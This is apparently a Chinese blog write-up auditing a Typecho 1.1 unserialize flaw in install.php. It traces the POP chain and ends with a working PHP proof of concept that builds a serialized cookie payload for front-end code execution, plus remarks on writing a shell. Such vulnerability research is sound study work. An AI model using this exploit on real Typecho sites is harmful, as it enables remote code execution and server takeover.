[php代码审计] Typecho 1.1 -反序列化Cookie数据进行前台Getshell
环境搭建
源码下载:https://github.com/typecho/typecho/archive/v1.1-15.5.12-beta.zip
下载后部署到web根目录,然后进行安装即可,其中注意要提前在mysql中创建一个对应的数据库.
漏洞分析
漏洞起始点前的障碍清除
先是一个refer检测,填写一个站内地址即可
$_SERVER中到底哪些是可以通过客户端进行控制的呢???
漏洞起始点
全局搜索所有的__wakeup函数和__destruct函数,但似乎都没有利用点
按照之前的思路,我一般就放弃了,但这题,让我见识了新思路。就是只要是用户可控的,可能在某一点没办法利用,但可能在其余的地方被利用
按照大师傅的思路,跟着输入流继续往下走
可以看到,$config可控,此时的不就会触发__toString了嘛!!!!
全局跟踪__toString
不得不说,phpstorm还是好啊,不仅支持函数预览,不用一个个手点进去。而且对于空函数还直接标注了。亏我还是从头开始找的。仔细看看图,后三个为有函数体的,前面没有函数体的,会微微泛黄
漏洞搜寻-测试点1
最开始看到这里的时候,我感觉都可以形成链子了,$callback $args 都可以控制
最后失败了,原因是这里的$callback是静态变量中的,如果是$this就可以了。。
漏洞搜寻-测试点2
不得不说这一段是真的长,只能慢慢看。看了好久,似乎没啥发现。。。
看了其他文章,才发现这里涉及__get触发--也就是访问了非public变量
这样的话,我们又开始要全局追踪__get函数了
只能说有点浮躁,不愿意继续往下跟踪,看了所有的都没发现漏洞。。。
看到了非常nice的函数!!!
回过头分析,判断确实都可控,直接构造pop链
install.php-> Typecho_Feed::_toString->Typecho_Request::__get()->Typecho_Request::get()->Typecho_Request::_applyFilter()->call_user_func($filter, $value)
POC
<?php
class Typecho_Request{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_params['screenName'] = -1; //payload
$this->_filter = array("phpinfo");
}
}
class Typecho_Feed{
private $_type = "ATOM 1.0";
private $_charset = "UTF-8";
private $_lang = "zh";
private $_items = array();
public function __construct(){
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['categoty'] = array(new Typecho_Request());
}
}
$a = array();
$a['adapter'] = new Typecho_Feed();
echo base64_encode(serialize($a));
成功
构造POC发现的问题
- 类中的数据序列化前,确保它的访问属性保持一直,避免反序列化不成功!!!
- 最开始构造了一个POC,结果总是返回一个数据库错误,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误。异常处理机制中最开始就直接将缓冲区清零了,所以会导致开始的目标信息无法输出。
解决办法:调试的时候手动添加exit提前退出。实际情况下,就控制程序不要走Exception,避免ob_end_clean()清除缓冲区 - 对于2的问题,只是会刷新缓冲区。但并不影响恶意代码的执行。所以如果直接进行shell的写入或类似的不需要回显的操作时,也是可以的。
ENDING
反序列化就是多跟,多联想。只要思路广,链子永不断!!!